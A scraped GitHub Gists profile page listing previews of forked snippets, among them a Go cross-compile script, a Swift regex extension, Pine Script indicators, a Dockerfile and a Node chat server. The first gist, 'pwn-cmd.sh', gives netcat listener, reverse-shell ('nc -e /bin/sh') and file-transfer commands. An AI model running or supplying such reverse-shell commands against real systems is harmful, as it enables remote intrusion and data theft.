Skip to content

Instantly share code, notes, and snippets.

View jonathanwork's full-sized avatar

Jonathan Lopez jonathanwork

View GitHub Profile
@jonathanwork
jonathanwork / pwn-cmd.sh
Created August 5, 2022 00:03 — forked from megalucio/pwn-cmd.sh
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file
@jonathanwork
jonathanwork / go-executable-build.sh
Created September 13, 2021 13:28 — forked from DimaKoz/go-executable-build.sh
The Script to Automate Cross-Compilation for Golang(OSX)
#Before we can use the script, we have to make it executable with the chmod command:
#chmod +x ./go-executable-build.sh
#then we can use it ./go-executable-build.sh yourpackage
#!/usr/bin/env bash
package=$1
if [[ -z "$package" ]]; then
echo "usage: $0 <package-name>"
exit 1
fi
@jonathanwork
jonathanwork / Regex.swift
Created March 5, 2018 07:05 — forked from ningsuhen/Regex.swift
Swift extension for Native String class to support Regex match and Regex replace. Credit - http://www.swift-studies.com/blog/2014/6/12/regex-matching-and-template-replacement-operators-in-swift
import Foundation
struct Regex {
var pattern: String {
didSet {
updateRegex()
}
}
var expressionOptions: NSRegularExpressionOptions {
didSet {
@jonathanwork
jonathanwork / clearRAM.sh
Created July 15, 2017 10:52 — forked from pklaus/clearRAM.sh
A Script to Clear Cached RAM on Linux
#!/bin/bash
## Bash Script to clear cached memory on (Ubuntu/Debian) Linux
## By Philipp Klaus
## see <http://blog.philippklaus.de/2011/02/clear-cached-memory-on-ubuntu/>
if [ "$(whoami)" != "root" ]
then
echo "You have to run this script as Superuser!"
exit 1
fi
@jonathanwork
jonathanwork / actions.js
Created June 18, 2017 00:52 — forked from elnino-ict/actions.js
React Redux
/**
* Send a login request to the server to retrieve a JWT token.
* @param credentials
* @returns {{type: *, isFetching: boolean, isAuthenticated: boolean, credentials: *}}
*/
function requestLogin() {
return {
type: LOGIN_REQUEST,
isFetching: true,
isAuthenticated: false
study("Supertrend V1.0 - Marketcalls", overlay = true)
Factor=input(3, minval=1,maxval = 100)
Pd=input(7, minval=1,maxval = 100)
Up=hl2-(Factor*atr(Pd))
Dn=hl2+(Factor*atr(Pd))
@jonathanwork
jonathanwork / 13eOBV
Created June 4, 2017 16:28 — forked from oscarvs/13eOBV
Pinescript Indicators for TradingView
study(title="13ema of On Balance Volume", shorttitle="13eOBV")
src = close, len = input(13, minval=1, title="Length")
out = cum(change(src) > 0 ? volume : change(src) < 0 ? -volume : 0*volume)
out2 = ema(out, len)
plot(out, color=orange, title="OBV")
plot(out2, title="EMA", color=gray)
@jonathanwork
jonathanwork / Dockerfile
Created May 22, 2017 22:40 — forked from rosstimson/Dockerfile
Easily get ffmpeg on Fedora with support for all the things.
# Dockerfile for ffmpeg with pretty much support for everything as per:
# https://trac.ffmpeg.org/wiki/CompilationGuide/Centos
# includes codecs with weird licensing like MP3 and AAC.
#
FROM fedora
MAINTAINER Ross Timson <ross@rosstimson.com>
# Install build requirements.
RUN dnf install -y autoconf automake cmake freetype-devel gcc gcc-c++ git libtool make mercurial nasm pkgconfig zlib-devel
@jonathanwork
jonathanwork / kssh
Created May 4, 2017 05:36 — forked from arcticlinux/kssh
Port Knocking SSH wrapper
#!/bin/bash
# Author: Michael Best <mbest@arcticlinux.com>
# Designed to work with the Shorewall Port Knocking Implementation
# http://shorewall.net/PortKnocking.html
COMMAND="ssh"
PORT=1600
TIMEOUT=2
@jonathanwork
jonathanwork / chatServer.js
Created May 2, 2017 07:04 — forked from creationix/chatServer.js
A simple TCP based chat server written in node.js
// Load the TCP Library
net = require('net');
// Keep track of the chat clients
var clients = [];
// Start a TCP Server
net.createServer(function (socket) {
// Identify this client